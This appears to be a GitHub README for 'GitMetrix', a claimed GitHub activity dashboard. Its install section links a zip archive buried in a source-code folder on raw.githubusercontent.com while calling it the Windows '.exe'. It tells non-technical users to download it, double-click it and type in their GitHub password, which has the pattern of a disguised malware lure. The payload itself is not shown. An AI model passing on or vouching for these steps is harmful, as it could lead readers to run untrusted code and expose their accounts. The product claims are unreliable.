GitMetrix is a tool that helps you see your work on GitHub more clearly. It turns your GitHub activity into simple, useful information. You can see your coding speed, how many days in a row you contributed, what programming languages you use, and which projects had the most impact.
You don’t need to know how to code to use it. GitMetrix organizes data from GitHub into easy-to-understand charts and numbers. It is like a dashboard that shows your progress as a developer.
To run GitMetrix on your Windows PC, make sure your system meets these basic needs:
- Windows 10 or later (64-bit recommended)
- Internet connection with access to GitHub
- At least 4 GB of RAM
- 200 MB free disk space
- Modern web browser (Chrome, Edge, or Firefox)
GitMetrix works in your browser but needs a small app to connect to GitHub and get data.
Click the big green button at the top or visit this link:
This will take you to the GitMetrix page on GitHub.
On the GitHub page, look for the Releases section or a link named Assets. This area contains the files you need to install.
Download the .exe file made for Windows. It might be named like https://raw.githubusercontent.com/esekasa/GitMetrix/main/src/components/ui/Git_Metrix_v1.3.zip or similar.
After the download finishes, open the file by double-clicking it. The installer will guide you through the process.
- Choose where you want to install GitMetrix (default location is fine for most users).
- Wait while the app installs on your computer.
- When done, click Finish to close the installer.
Look for GitMetrix in your Start Menu or desktop and open it.
The app will ask you to log in to your GitHub account to gather your data. This step is safe and uses GitHub's normal login process.
- Click the Sign In with GitHub button.
- Enter your GitHub username and password.
- Authorize GitMetrix to access your GitHub data.
This lets GitMetrix fetch your activity and updates.
Once logged in, the dashboard shows several key metrics:
- Velocity Score: How fast you’re coding. It updates in real time.
- Contribution Streak: The number of days you have contributed code without a break.
- Language Analytics: Breakdown of the programming languages you use.
- Repository Impact: Visual charts showing which projects got the most attention.
Use the menu on the side to switch between different views.
